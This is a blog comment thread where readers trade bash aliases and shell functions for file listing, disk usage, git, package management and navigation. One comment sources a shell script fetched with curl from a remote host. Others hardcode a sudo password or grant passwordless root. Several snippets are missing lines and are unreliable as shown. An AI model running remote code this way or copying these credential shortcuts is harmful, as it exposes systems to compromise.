{ 146 comments… read them below or add one }

1 mchris June 11, 2012 at 6:37 am

Nice list; found a couple new things I never thought of. To return the favor; my addon..

A nice shell is key in bash imo; I color code my next line based on previous commands return code..

    prevCmd=$(prevCmd $RTN)
    if [ $1 == 0 ] ; then
        echo $GREEN
        echo $RED
if [ $(tput colors) -gt 0 ] ; then
    RED=$(tput setaf 1)
    GREEN=$(tput setaf 2)
    RST=$(tput op)
export PS1="\[\e[36m\]\u.\h.\W\[\e[0m\]\[\$prevCmd\]>\[$RST\]"

And I liked your .{1,2,3,4} mapping; how I integrated it…

for i in 1 2 3 4
    alias $baseName="cd ${dotSlash}"

And two random quick short ones..

#progress bar on file copy. Useful evenlocal.
alias cpProgress="rsync --progress -ravz"
#I find it useful when emailing blurbs to people and want to illustrate long timeout in one pass.
alias ping="time ping"


2 Scott Rowley March 22, 2013 at 2:15 pm

The following is my version of the “up function” I came up with this morning:

# Functions
up () {
        while [[ $COUNTER -gt 0 ]]
          COUNTER=$(( $COUNTER -1 ))
        echo "cd $UP"
        cd $UP


3 linuxnetzer June 11, 2012 at 6:45 am

Show text file without comment (#) lines (Nice alias for /etc files which have tons of comments like /etc/squid.conf)

alias nocomment='grep -Ev '\''^(#|$)'\'''

Usage e.g.:

nocomment /etc/squid.conf


4 nixCraft June 11, 2012 at 6:58 am

@linuxnetzer, nocommand is nice to dump squid, httpd and many others config files.

@mchris, I liked cp alias that can show progress.

Appreciate your comments.


5 Tom Ryder June 11, 2012 at 6:58 am

Ctrl+L is also a nice quick way to clear the terminal.


6 TooManySecrets June 11, 2012 at 7:32 am

This isn’t an alias, but for clear screen is very handy the CTRL+L xDD

Have a nice day ;-)


7 Sean June 11, 2012 at 8:01 am

One that I find useful is:

alias du1='du -d 1'


8 Sergio Luiz Araujo Silva June 11, 2012 at 10:12 am

apt-get with limit

alias apt-get="apt-get -o Acquire::http::Dl-Limit=15"

To open last edited file

alias lvim="vim -c \"normal '0\""


9 Tales Teixeira January 11, 2013 at 1:55 am

Try !vim


10 Sdaiy June 11, 2012 at 12:34 pm

Nice list. Never knew about some of these aliases and commands.


11 satish June 11, 2012 at 1:23 pm

good list, an alias I use commonly
ll “ls -l”


12 oll June 11, 2012 at 2:31 pm

Nice tricks.
But be careful with some aliases (typically the #7 mount), since you won’t be able to use them directly when you pass arguments .

[root@myhost ~]# alias mount=’mount |column -t’
[root@myhost ~]# mount myserver:/share /mnt
column: myserver:/share: No such file or directory

It’s better to use scripts whith these kinds of commands


13 Fumando_Espero January 8, 2013 at 2:32 pm

You are very right in your appreciation. An alias is a “dumb” substitution in that it doesn’t interpret arguments.


14 booczczu May 10, 2013 at 3:19 pm

Do it this way:

alias mountt=’mount |column -t’

(note the double “t”) and than you can use the original mount command to do its job.


15 mchris June 11, 2012 at 2:47 pm

In reply to comment of “Reopen last edited file in vim”, alternative recommendation that will be more portable to other uses…


Can also use history here; if you edited /etc/host 4 files ago; you can just type host and you’re good to go. Works with all commands; I use it constantly.

(Also, is also incredibly useful. Also accepts direct place in previous commands)


16 Rob June 11, 2012 at 3:05 pm

Don’t forget… sl=”ls”. Though Steam Locomotive is funny for a while, this is always the easier solution.


17 nixCraft June 11, 2012 at 4:49 pm


\mount myserver:/share /mnt

And you are done with it. No need to write scripts.


18 esritter June 11, 2012 at 5:22 pm

My bashrc has been with me for over a decade. I love to tinker and modify it a bunch, so I’ve added an alias I borrowed/stole/ganked from someone ages ago:

alias='$EDITOR ~/.bashrc ; source ~/.bashrc'


19 mikaere66 April 1, 2013 at 7:17 pm

Hi esritter … I’m relatively new to Linux, so I don’t understand your alias. Can you please explain?


20 danneu April 10, 2013 at 6:45 am

A more explicit version of that alias (that I use) would look like:

alias bashrc="vim ~/.bashrc && source ~/.bashrc

Basically, it runs `source` for you once you save&exit the file. `source` picks up changes in the file.


21 jkirchartz June 3, 2013 at 5:45 pm

this will open ~/.bashrc in your $EDITOR (which should be set to vim/emacs something) then re-load the ~/.bashrc so your tweaks are available immediately.


22 Babu June 12, 2012 at 3:33 am

Like it ! Thanks.


23 Honeypuck June 12, 2012 at 3:39 am

Nice commands!
In case you would like to be shown the contents of a directory immediately after moving to it by cd DIRECTORY you could define the following function in .bashrc:

cdl()    {
  ls -al;
You can modify the options of ls to meet your needs of course. Next time you switch directories on the command line with 'cdl DIRECTORY' it will automatically execute the command 'ls -al', displaying all subdirectories and files (hidden ones as well when setting the option -a). I hope this will be useful for someone. In case you like the alias, do not forget to change
alias ..='cd ..'
alias ..='cdl ..'


24 sky January 6, 2015 at 7:09 pm

It is really useful but how do you using this on the alias line….
alias …….= ‘………………………..’


25 Rishi G June 12, 2012 at 4:01 am

Here are 4 commands i use for checking out disk usages.

#Grabs the disk usage in the current directory
alias usage='du -ch | grep total'
#Gets the total disk usage on your machine
alias totalusage='df -hl --total | grep total'
#Shows the individual partition usages without the temporary memory values
alias partusage='df -hlT --exclude-type=tmpfs --exclude-type=devtmpfs'
#Gives you what is using the most space. Both directories and files. Varies on
#current directory
alias most='du -hsx * | sort -rh | head -10'


26 shadowbq December 17, 2012 at 2:08 pm

usage is better written as

alias usage=’du -ch 2> /dev/null |tail -1′


27 Mark January 12, 2013 at 6:08 pm

Thank you all for your aliases.
I found this one long time ago and it proved to be useful.

# shoot the fat ducks in your current dir and sub dirs
alias ducks=’du -ck | sort -nr | head’


28 Karsten July 17, 2013 at 9:30 pm

While it would still work, the problem with usage=’du -ch | grep total’ is that you will also get directory names that happen to also have the word ‘total’ in them.

A better way to do this might be: ‘du -ch | tail -1′


29 Karsten July 17, 2013 at 9:57 pm

Over dinner I thought to myself “hmm, what if I want to use the total in a script?” and came up with this in mid entrée:

du -h | awk ‘END{print $1}’

Now you’ll just get something like: 92G


30 James C. Woodburn June 12, 2012 at 11:45 am

I always create a ps2 command that I can easily pass a string to and look for it in the process table. I even have it remove the grep of the current line.

alias ps2=’ps -ef | grep -v $$ | grep -i ‘


31 sbin_bash March 26, 2013 at 1:14 pm

with header:

alias psg=’ps -Helf | grep -v $$ | grep -i -e WCHAN -e ‘


32 Juanma June 12, 2012 at 12:45 pm

Nice post. Thanks.
@oll & Vivek: I’m sure you know this, but to leave trace of it in this page I’ll mention that, at least in Bash, you have functions as a compromise between aliases and scripts. In fact, I solved a similar situation to what is described in #7 with a function:
I keep some files under version control, hard-linking to those files into a given folder, so I want find to ignore that folder, and I don’t want to re-think and re-check how to use prune option every time:

function f {
	arg_path=$1 && shift
	find $arg_path -wholename "*/path-to-ignore/*" -prune -o $* -print


33 hhanff June 12, 2012 at 2:15 pm

# This will move you up by one dir when pushing AltGr .
# It will move you back when pushing AltGr Shift .
bind ‘”…”:”pushd ..\n”‘ # AltGr .
bind ‘”÷”:”popd\n”‘ # AltGr Shift .



34 Bill C. June 12, 2012 at 4:58 pm

One more thing to keep in mind is the difference in syntax between shells. I used to work on a system that used HP-UX and Sun Solaris, and the alias commands were different. One system used
alias ll=’ls -l’
and the other one (I can’t remember which was which, sorry) was
alias ll ‘ls -l’

Something to be aware of!

Thanks for this article and the site, V! Keep ‘em coming!


35 old486whizz June 12, 2012 at 5:16 pm

I would use a function for df:
df () {
if [[ “$1″ = “-gt” ]]; then
x=$x” $@”
/bin/df $x -P |column -t

That way you can put “df -k /tmp” (etc).
… I work with AIX a lot, so often end up typing “df -gt”, so that’s why the if statement is there.

I also changed “mount” to “mnt” for the column’s:
alias mnt=”mount |column -t”


36 Art Protin June 12, 2012 at 9:53 pm

Any alias of rm is a very stupid idea (except maybe alias rm=echo fool).

A co-worker had such an alias. Imagine the disaster when, visiting a customer site, he did “rm *” in the customer’s work directory and all he got was the prompt for the next command after rm had done what it was told to do.

It you want a safety net, do “alias del=’rm -I –preserve_root'”,


37 Drew Hammond March 26, 2014 at 7:41 pm

^ This x10000.

I’ve made the same mistake before and its horrible.


38 Opt June 13, 2012 at 12:22 am

Great post I’ve been looking for something like this I always tend to go about things the long way round. With these alias and some shell scripting I’m really starting to cut down on wasted time!

Thanks again!


39 Blue Thing June 13, 2012 at 6:19 am

I use this one when I need to find the files that has been added/modified most recently:

alias lt=’ls -alrt’


40 tef June 14, 2012 at 4:56 pm
# file tree
alias tree="find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'"
#turn screen off
alias screenoff="xset dpms force off"
# list folders by size in current directory
alias usage="du -h --max-depth=1 | sort -rh"
# e.g., up -> go up 1 directory
# up 4 -> go up 4 directories
    if [[ $1 =~ ^[0-9]+$ ]]; then
        while [ $x -lt ${1:-1} ]; do
    cd "$dir";


41 tef June 14, 2012 at 7:38 pm

might be a repost, oops

# ganked these from people
#not an alias, but I thought this simpler than the cd control
#If you pass no arguments, it just goes up one directory.
#If you pass a numeric argument it will go up that number of directories.
#If you pass a string argument, it will look for a parent directory with that name and go up to it.
    if [ -z "$1" ]; then
    elif [[ $1 =~ ^[0-9]+$ ]]; then
        while [ $x -lt ${1:-1} ]; do
    cd "$dir";
#turn screen off
alias screenoff="xset dpms force off"
#quick file tree
alias filetree="find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'"


42 em June 20, 2012 at 5:31 am

a little mistake, not really important if you don’t copy/paste like a dumbass :-)

alias iptlistfw=’sudo /sbin/iptables -L FORWORD -n -v –line-numbers’

it is “FORWARD”, not “FORWORD”


43 nixCraft June 20, 2012 at 6:34 am


Thanks for the heads up.


44 nishanth July 20, 2012 at 4:38 am

In “Task: Disable an alias temporarily (bash syntax)”

## path/to/full/command


## call alias with a backslash ##

\c ===> This should be \clear right?


45 Biocyberman October 22, 2012 at 9:07 am


Previously he set the alias:
alias c=’clear’
so \c is correct.


46 O-Deka-K March 12, 2013 at 3:34 pm

True, but unless you have a program called ‘c’, this doesn’t do anything useful. The example doesn’t really illustrate the point. This one is better:

## Interactive remove
alias rm='rm -i'
## Call the alias (interactive remove)
## Call the original command (non-interactive remove)


47 kioopi November 26, 2012 at 9:55 am
alias tgrep='rgrep --binary-files=without-match'
alias serve='python -m SimpleHTTPServer'


48 Mac Maha November 27, 2012 at 9:58 am

I used it this way.
I added myself to visudo file with nopasswd privileges.
so that I don’t have to type password when I do “sudo su -“.
Then created alias root=’sudo su -‘
This enables me to log in to root with just “root”.

by the ways the article is very helpful for everyone who works on linux servers or desktops on everyday basis.
Mac Maha.


49 Larry Helms December 2, 2012 at 11:00 pm

I move across various *nix type OSes. I have found that it’s easiest to keep my login stuff (aliases & environment variables) in separate files as in .aliases-{OS}. E.g.:


All I have to do then in .bashrc, or .profile, whatever is do this:

OS=$( uname | tr '[:upper:]' ':[lower:]')
. $HOME/.aliases-${OS}
. $HOME/.environment_variables-${OS}


for SCRIPT in $( ls -1 $HOME/scripts/login/*-${OS} )
  . ${SCRIPT}


50 EW1(SG) January 1, 2013 at 3:38 pm

And Larry wins the thread going away!


51 Martin December 4, 2012 at 9:31 am

i have 2 more that haven’t been posted yet:

helps with copy and pasting to and from a terminal using X and the mouse. (i chose the alias name according to what the internet said the corresponding macos commands are.)

alias pbcopy='xsel --clipboard --input'
alias pbpaste='xsel --clipboard --output'

and something I use rather frequently when people chose funny file/directory names (sad enough):

chr() {
  printf \\$(printf '%03o' $1)
ord() {
  printf '%d' "'$1"


52 Martin December 4, 2012 at 9:33 am

the pb* aliases are especially for piping output to the clipboard and vice versa


53 Tom December 20, 2012 at 2:18 pm

That was a great list. Here are some of mine:

I use cdbin to cd into a bin folder that is many subdirectories deep:

alias cdbin='cd "/mnt/shared/Dropbox/My Documents/Linux/bin/"'

I can never remember the sync command.

alias flush=sync

I search the command history a lot:

alias hg='history|grep '

My samba share lives inside a TrueCrypt volume, so I have to manually restart samba after TC has loaded.

alias restsmb='sudo service smb restart'

I’m surprised that nobody else suggested these:

alias syi='sudo yum install'
alias sys='sudo yum search'


54 zork January 16, 2013 at 4:59 pm

I find these aliases are helpful

alias up1="cd .."
# edit multiple files split horizontally or vertically
alias   e="vim -o "
alias   E="vim -O "
# directory-size-date (remove the echo/blank line if you desire)
alias dsd="echo;ls -Fla"
alias   dsdm="ls -FlAh | more"
# show directories only
alias   dsdd="ls -FlA | grep :*/"
# show executables only
alias   dsdx="ls -FlA | grep \*"
# show non-executables
alias   dsdnx="ls -FlA | grep -v \*"
# order by date
alias   dsdt="ls -FlAtr "
# dsd plus sum of file sizes
alias   dsdz="ls -Fla $1 $2 $3 $4 $5  | awk '{ print; x=x+\$5 } END { print \"total bytes = \",x }'"
# only file without an extension
alias noext='dsd | egrep -v "\.|/"'
# send pwd to titlebar in puttytel
alias   ttb='echo -ne "33]0;`pwd`07"'
# send parameter to titlebar if given, else remove certain paths from pwd
alias   ttbx="titlebar"
# titlebar
if [ $# -lt 1 ]
    ttb=`pwd | sed -e 's+/projects/++' -e 's+/project01/++' -e 's+/project02/++' -e 's+/export/home/++' -e 's+/home/++'`
echo -ne "33]0;`echo $ttb`07"
alias machine="echo you are logged in to ... `uname -a | cut -f2 -d' '`"
alias info='clear;machine;pwd'


55 Tom Hand January 18, 2013 at 5:47 am

A couple you might mind useful.

alias trace='mtr --report-wide --curses $1'
alias killtcp='sudo ngrep -qK 1 $1 -d wlan0'
alias usage='ifconfig wlan0 | grep 'bytes''
alias connections='sudo lsof -n -P -i +c 15'


56 pidegat January 25, 2013 at 7:24 pm

to avoid some history aliases, ctrl+R and type letter of your desired command in history. When I discover ctrl+R my life changed !


57 ken February 16, 2015 at 4:41 pm

OMG! Thanks!


58 nyuszika7h February 7, 2013 at 4:43 pm

You should check $EUID, not $UID, because if the effective user ID isn’t 0, you aren’t root, but if the real/saved user UID is 0, you can seteuid(0) to become root.


59 nyuszika7h February 7, 2013 at 4:47 pm

Reply to Tom (#42):

(1) Using `hg’ for `history –grep’ is probably not a good idea if you’re ever going to work with Mercurial SCM.

(2) Using sudo for `yum search’ is entirely pointless, you don’t need to be root to search the package cache.


60 Karthik February 14, 2013 at 10:12 am
alias up1="cd .."
# edit multiple files split horizontally or vertically
alias   e="vim -o "
alias   E="vim -O "
# directory-size-date (remove the echo/blank line if you desire)
alias dsd="echo;ls -Fla"
alias   dsdm="ls -FlAh | more"
# show directories only
alias   dsdd="ls -FlA | grep :*/"
# show executables only
alias   dsdx="ls -FlA | grep \*"
# show non-executables
alias   dsdnx="ls -FlA | grep -v \*"
# order by date
alias   dsdt="ls -FlAtr "
# dsd plus sum of file sizes
alias   dsdz="ls -Fla $1 $2 $3 $4 $5  | awk '{ print; x=x+\$5 } END { print \"total bytes = \",x }'"
# only file without an extension
alias noext='dsd | egrep -v "\.|/"'
# send pwd to titlebar in puttytel
alias   ttb='echo -ne "33]0;`pwd`07"'
# send parameter to titlebar if given, else remove certain paths from pwd
alias   ttbx="titlebar"
# titlebar
if [ $# -lt 1 ]
    ttb=`pwd | sed -e 's+/projects/++' -e 's+/project01/++' -e 's+/project02/++' -e 's+/export/home/++' -e 's+/home/++'`
echo -ne "33]0;`echo $ttb`07"
alias machine="echo you are logged in to ... `uname -a | cut -f2 -d' '`"
alias info='clear;machine;pwd'


61 Benito November 3, 2014 at 5:05 am

I will add:

# file tree of directories only
alias dirtree="ls -R | grep :*/ | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/   /' -e 's/-/|/'"


62 John Ko February 15, 2013 at 10:57 pm

I’m surprised no one has mentioned:
alias ls=’ls -F’
It will show * after executables, / after directories and @ after links.


63 zork March 25, 2013 at 6:03 pm

John (Ko),

The variations of dsd that I gave all include -F

Give them a try.


64 John Ko February 15, 2013 at 11:01 pm

And for you vi(m) lovers out there, in my .bashrc:
set -o vi

esc j,k for searching history using vi semantics. edit line using w, dw, b, F or whatever other as if in vi. Occasionally need to watch that if in command mode, need to press i first so you can actually go back to inserting as opposed to not seeing anything as you attempt to type.
set -o emacs
to get back out of this mode if you want to restore it what others have used.


65 Erin February 16, 2013 at 7:44 am

Here are some tidbits I’ve setup to help troubleshoot things quickly

This one pings a router quickly

alias pr=”ping \`netstat -nr| grep -m 1 -iE ‘default|′ | awk ‘{print \$2}’\`”

This export puts the current subnet as a variable (assuming class C) for easy pinging or nmaping

export SN=`netstat -nr| grep -m 1 -iE ‘default|′ | awk ‘{print \$2}’ | sed ‘s/\.[0-9]*$//’ `
ping $SN.254
nmap -p 80 $SN.*

This command which I just named ‘p’ will call ping and auto populate your current subnet. You’d call it like this to ping the router p 1

[ “$#” -eq 1 ] || exit “1 argument required, $# provided”
echo $1 | grep -E -q ‘^[0-9]+$’ || exit “Numeric argument required, $1 provided”
export HOST=$1
export SUBNET=`netstat -nr| grep -m 1 -iE ‘default|′ | awk ‘{print \$2}’`
export IP=`echo $SUBNET | sed s/\.[0-9]*$/.$HOST/`
ping $IP

Quickly reload your .bashrc or .bash_profile

alias rl=’. ~/.bash_profile’


66 Flack February 22, 2013 at 8:44 pm

Clear xterm buffer cache

alias clearx="echo -e '/0033/0143'"

Contrary to the clear command that only cleans the visible terminal area. AFAIK It’s not an universal solution but it worths a try.

Edited by Admin as requested by OP.


67 Eduard Seifert February 23, 2013 at 6:44 pm

alias clear=’printf “33c”‘


68 Eduard Seifert February 23, 2013 at 6:44 pm
alias clear='printf "33c"'


69 DarrinMeek February 26, 2013 at 3:11 am

I have been using this concept for many years and still trying to perfect the methodology. My goals include minimal keystrokes and ease of use. I use double quotes in my alias defn even though single quote delimiters are the normal convention. I use ‘aa’ for “add alias.” It is always the first alias I create. Each job and each environ begin with ‘aa’ alias creation. My aliases have evolved into productized command line interfaces and have been adopted by many others over the years. http://www.iboa.us/iboaview.html


70 muratkarakus March 1, 2013 at 5:02 pm

Nowadays, git is so popular, we can not miss it
These are my git aliases

alias g=”git”
alias gr=”git rm -rf”
alias gs=”git status”
alias ga=”g add”
alias gc=”git commit -m”
alias gp=”git push origin master”
alias gl=”git pull origin master”


71 muratkarakus March 1, 2013 at 6:16 pm

alias sd=”echo michoser | sudo -S”

alias ai=”sd apt-get –yes install”
alias as=”apt-cache search”
alias ar=”sd apt-get –yes remove”

alias .p=”pushd .”
alias p.=”popd”


72 Tolli March 2, 2013 at 8:35 pm

Regarding the cd aliases (#2), you can use the autocd bash option (run ‘shopt -s autocd’) to change directories without using cd. Then, you can just type ‘..’ to go up one directory, or ‘../..’ to go up 2 directories, or type the (relative) path of any directory to go to it. Another trick is to set the CDPATH environment variable. This will let you easily change to directories in a commonly used sub-directories such as your home directory. For example, if you set the CDPATH to ‘.:$HOME’ (run ‘export CDPATH=.:$HOME’), then run ‘cd Documents’ you will change directories to the Documents/ directory in your home directory, no matter what directory you are currently in (unless your current directory also has a documents/ directory in it).


73 Chris F.A. Johnson March 11, 2013 at 6:14 pm

I don’t use aliases. As the bash man page says:

“For almost every purpose, aliases are superseded by shell functions.”

At the top of my .bashrc I have ‘unalias -a’ to get rid of any misguided aliases installed by /etc/profile.


74 Benny October 22, 2013 at 8:02 pm

Interesting comment, Chris. I decided it would be an interesting experiment to try to take some of these alias ideas and convert them to functions. When I tried on the one called “fastping” I couldn’t seem to make it work. Ideas?


75 Henrik Kjelsberg March 6, 2014 at 8:06 am

Aliases are handy and quicker to set up than functions. I guess you could argue that if your fluent with `history` you don’t necessarily need aliases and aliases will not be available if your working on someone else’s box, but I think a combination makes perfect sense, their quick :)


76 TD August 7, 2014 at 8:00 am

Who says you can’t use your own aliases when working on a box?

. <(curl -sS domain.tld/scripts/.bashrc)


77 r0tty October 3, 2014 at 8:28 am

This is completely brilliant – I am implementing it now.

Also, I completely agree with whoever said aliasing rm is a very bad idea. I don’t think it’s a good idea to use any alias that can get you into trouble if the alias is not defined.

Finally, I think it’s a very good idea not to define any alias that will hinder your recall of the command should you be in a situation where you don’t have access to the alias. A job interview being the most important scenario. You can only smugly answer questions with ‘no, I don’t know the options to that command, because I define an alias so I don’t have to remember’ so many times before they conclude you don’t know what you’re talking about.



78 griswolf March 11, 2013 at 7:24 pm

The aliases that I use the most (also a lot of shell functions):
alias j=’jobs -l’
alias h=’history’
alias la=’ls -aF’
alias lsrt=’ls -lrtF’
alias lla=’ls -alF’
alias ll=’ls -lF’
alias ls=’ls -F’
alias pu=pushd
alias pd=popd
alias r=’fc -e -‘ # typing ‘r’ ‘r’epeats the last command


79 Gary March 27, 2013 at 9:15 am

Sizes of the directories in the current directory
alias size=’du -h –max-depth=1′


80 RajaSekhar April 2, 2013 at 2:56 am

Useful alias. Thanks mates.

I find the following useful too

alias tf='tail -f '
# grep in *.cpp files
alias findcg='find . -iname "*.cpp" | xargs grep -ni --color=always '
# grep in *.cpp files
alias findhg='find . -iname "*.h" | xargs grep -ni --color=always '
#finds that help me cleanup when hit the limits
alias bigfiles="find . -type f 2>/dev/null | xargs du -a 2>/dev/null | awk '{ if ( \$1 > 5000) print \$0 }'"
alias verybigfiles="find . -type f 2>/dev/null | xargs du -a 2>/dev/null | awk '{ if ( \$1 > 500000) print \$0 }'"
#show only my procs
alias psme='ps -ef | grep $USER --color=always '


81 Carsten April 5, 2013 at 1:06 pm

Very nice alias list.
Here’s another very handy alias:

alias psg='ps -ef | grep'

ex: looking for all samb processes:

psg mbd


82 Justin Garrison October 22, 2014 at 3:13 pm

Try this one instead. It will remove the search from your results

psg='ps aux | grep -v grep | grep -i -e VSZ -e'


83 phillip April 6, 2013 at 6:23 am

Here is the most important alias:

alias exiy=’exit’


84 Thilo Six April 8, 2013 at 2:20 pm

I did learn some new things. Thanks for that.

# Do not wait interval 1 second, go fast #
alias fastping=’ping -c 100 -s.2′

From reading the man page i gather the ‘-s’ should be ‘-i’ instead.

-s packetsize
Specifies the number of data bytes to be sent.

-i interval
Wait interval seconds between sending each packet. The
default is to wait for one second between each packet
normally, or not to wait in flood mode. Only super-user
may set interval to values less 0.2 seconds.


85 Thomas April 9, 2013 at 3:44 pm

Back Up [function, not alias] – Copy a file to the current directory with today’s date automatically appended to the end.

bu() { cp $@ $@.backup-`date +%y%m%d`; }

Add to .bashrc or .profile and type: “bu filename.txt”

I made this a long time ago and use it daily. If you really want to stay on top of your backed up files, you can keep a log by adding something like:

bu() { cp $@ $@.backup-`date +%y%m%d`; echo "`date +%Y-%m-%d` backed up $PWD/$@" >> ~/.backups.log; }

I hope someone finds this helpful!


86 ahmed April 21, 2013 at 1:03 am

i did!
thanks a lot


87 Benny October 22, 2013 at 7:41 pm

Excellent idea, Thomas!


88 Ingo November 22, 2013 at 7:51 pm

Great idea! Will add this one to my aliases!

Is there a specific reason to use $@ instead of $1?

I also added quotes around the parameters, otherwise it won’t work with file names that include whitespace, I have it like this now:

bu() { cp “$1″ “$1″.backup-`date +%y%m%d`; }


89 Dean September 23, 2014 at 5:13 pm

Brilliant. Thanks.
I use this before I edit any config file I might need/want to change back later.
I also added %H%M%S so I can save a copy each time without dupe file names.
Thanks again.
I suppose one could also include something like this in an alias for vi to automatically create a backup file before launching vi…hmmmm….


90 Russ Thompson April 25, 2013 at 2:34 am

I am learning to love simple functions in .bashrc

mcd () {
mkdir -p $1;
cd $1

But the great aliases are in the cmd prompt under windoze:

run doskey /macrofile=\doskey.mac

then set up a doskey,mac in root directory with the CORRECT commands

ls=dir $* /o/w
cat=type $*
rm=del $*
lsl=dir $* /o/p

yes, I have to work in the sludgepit, but I can fix the command set


91 Andrew May 1, 2013 at 8:44 pm

Since I work in a number of different distributions, I concatenated 17 and 18:

case $(lsb_release -i | awk ‘{ print $3 }’) in
alias apt-get=”sudo apt-get”
alias updatey=”sudo apt-get –yes”
alias update=’sudo apt-get update && sudo apt-get upgrade’
alias update=’yum update’
alias updatey=’yum -y update’

Of course you could add Fedora, Scientific Linux, etc, to the second one, but I don’t have either of those handy to get the output of lsb_release.


92 Aaron Goshine May 5, 2013 at 3:27 am

alias gtl=’git log’
alias gts=’git status’


93 Dan May 29, 2013 at 3:53 pm

I also have an function that does the same thing, and an alias for killing a process by pid. Then in my ps2 command I use ‘complete’ to add the pids to the completion list of my kill command so I can hit escape and it will fill in the rest. Better to show it than describe it:

alias kk=’sudo kill’ # Expecting a pid
pss() {
[[ ! -n ${1} ]] && return; # bail if no argument
pro=”[${1:0:1}]${1:1}”; # process-name –> [p]rocess-name (makes grep better)
ps axo pid,command | grep -i ${pro}; # show matching processes
pids=”$(ps axo pid,command | grep -i ${pro} | awk ‘{print $1}’)”; # get pids
complete -W “${pids}” kk # make a completion list for kk

Now I can do (for example):

zulu:/Users/frank $ pss ssh
3661 /usr/bin/ssh-agent -l
2845 ssh -Nf -L 15900:localhost:5900 homemachine@dyndns.org
zulu:/Users/frank $ kk 2 (hit escape key to complete 2845)
zulu:/Users/frank $


94 Philip Vanmontfort June 1, 2013 at 3:31 pm

Hey, very useful tips!
here’s mine:

chmoddr()   {
  # CHMOD _D_irectory _R_ecursivly
  if [ -d "$1" ]; then
   echo "error: please use the mode first, then the directory";
   return 1;
  elif [ -d "$2" ]; then
   find $2 -type d -print0 | xargs -0 chmod $1;
  if [ "$#" -lt 1 ]; then   echo "not enough arguments";    return 1;  fi
  echo "resistence is futile! $1 will be assimilated";
  if [ "$2" != "" ]; then
    _assimilate_opts=" -p$2 ";
  ssh -M -f -N $_assimilate_opts -o ControlPath=$SSHSOCKET $1;
  if [ ! -S $SSHSOCKET ]; then echo "connection to $1 failed! (no socket)"; return 1; fi
  ### begin assimilation
  # copy files
  scp -o ControlPath=$SSHSOCKET ~/.bashrc $1:~;
  scp -o ControlPath=$SSHSOCKET -r ~/.config/htop $1:~;
  # import ssh key
  if [[ -z $(ssh-add -L|ssh -o ControlPath=$SSHSOCKET $1 "grep -f - ~/.ssh/authorized_keys") ]]; then
    ssh -o ControlPath=$SSHSOCKET $1 "mkdir ~/.ssh > /dev/null 2>&1";
    ssh-add -L > /dev/null&&ssh-add -L|ssh -o ControlPath=$SSHSOCKET $1 "cat >> ~/.ssh/authorized_keys"
  ssh -o ControlPath=$SSHSOCKET $1 "chmod -R 700 ~/.ssh";
  ### END
  ssh -S $SSHSOCKET -O exit $1 2>1 >/dev/null;


95 harry June 4, 2013 at 2:59 am

Hey these are great guys. Thanks. Here are a few I started using recently ever since I discovered ‘watch’. I use for monitoring log tails and directory contents and sizes.

alias watchtail=’watch -n .5 tail -n 20′
alias watchdir=’watch -n .5 ls -la’
alias watchsize=’watch -n .5 du -h –max-depth=1′


96 harry June 4, 2013 at 3:09 am

I forgot that third one: I use for monitoring small directories ( < 100M ). This would choke on large directories. Just increase the watch interval if you need to watch larger directories. The default interval for watch is 2 seconds.


97 Bob September 20, 2013 at 4:36 pm

tail has a ‘watch’-like option, though it doesn’t refresh the screen like watch

tail -f -n 20 (though, really, the line number isn’t as necessary in tail -f as it is in watch)


98 greg June 7, 2013 at 4:19 pm

I have the same “ll” alias, I use constantly. Here are a few others:

# grep all files in the current directory
function _grin() { grep -rn --color $1 .;}
alias grin=_grin
# find file by name in current directory
function _fn() { find . -name $1;}
alias fn=_fn


99 Philip Vanmontfort June 17, 2013 at 5:50 pm

I published my .bashrc:



100 Philip Vanmontfort April 17, 2014 at 12:44 pm
101 selfthinker June 29, 2013 at 5:40 pm

three letters to tune into my favorite radio stations

alias dlf=”/usr/local/bin/mplayer -nocache -audiofile-cache 64 -prefer-ipv4 $(GET http://www.dradio.de/streaming/dlf.m3u|head -1)”
alias dlr=”/usr/local/bin/mplayer -nocache -audiofile-cache 64 -prefer-ipv4 $(GET http://www.dradio.de/streaming/dkultur.m3u|head -1)”

sometimes I swap my keyboards, then I use

alias tastatur=”setxkbmap -model cherryblue -layout de -variant ,nodeadkeys”

When using mplayer you may set bookmarks using ‘i’. You may read it easyer using

mplay() {
	export EDL=”$HOME/.mplayer/current.edl”
	/usr/local/bin/mplayer -really-quiet -edlout $EDL $* ;
	echo $(awk ‘{print $2 }’ $EDL | cut -d, -f1 | cut -d. -f1 )

Buring ISO-images does not need starting GUIs and clicking around

alias isowrite=”cdrecord dev=1,0,0 fs=32M driveropts=burnfree speed=120 gracetime=1 -v -dao -eject -pad -data

Be aware the device must be adjusted. Not every default will fit for you to “isowrite /some/where/myimage.iso”.


102 LinuxGeek July 16, 2013 at 3:28 pm

Really useful command


103 Erik July 16, 2013 at 9:01 pm

In 30 years of living at the *nix commandline I found that I really only need 2 aliases
for my bash shell (used to be ksh, but that’s been a while)

  alias s=less        # use less a lot to see config files and logfiles
  alias lst='ls -ltr'   # most recently updated files last

when checking for servers and tcp ports for a non root user these are also handy

  alias myps='ps -fHu $USER'     # if not $USER, try $LOGIN
  alias myports="netstat -lntp 2>/dev/null | grep -v ' - *$'"  # Linux only?


104 Tim August 10, 2013 at 1:44 pm

I have an alias question. I routinely want to copy files from various locations to a standard location. I want to alias that standard location so I can type:
alias mmm=”/standard/target/directory/”
cp /various/file/source mmm
but this doesn’t work: just creates a duplicate named mmm

Is there a way to do this?


105 nixCraft August 11, 2013 at 8:15 am

Add mmm to $HOME/.bashrc as follows:

export mmm="/standard/target/directory/"

Logout and login again. Verify that $mmm is set:

echo $mmm

Now run the command:

cp /various/file/source $mmm



106 Tim August 12, 2013 at 4:52 am

Thank you very much!



107 sandeep September 3, 2013 at 10:01 am



108 Salvatore September 8, 2013 at 1:56 pm

Very nice and useful, thank you!


109 Morgan Estes September 17, 2013 at 10:01 pm

I can never remember the right flags to pass when extracting a tarball, so I have this custom alias:

alias untar='tar -zxvf'


110 Michael J September 27, 2013 at 4:06 pm

I use this “alias” — its really a function — to do a quick check of JSON files on the command line:

function json() { cat “$@” | /usr/bin/python -m json.tool ;}

usage: json file.json

If all is well, it will print the JSON file to the screen. If there is an error in the file, the error is printed along with the offending line number.

Works great for quickly testing JSON files!


111 Erwan October 7, 2013 at 8:21 pm

Nice list, this file is so great for repetitive tasks.

Here’s mine.


112 Eric October 10, 2013 at 6:29 pm

This is a great list most of my favorites have already been listed but this one hasn’t quite been included and i use more than any other, except maybe ‘lt’
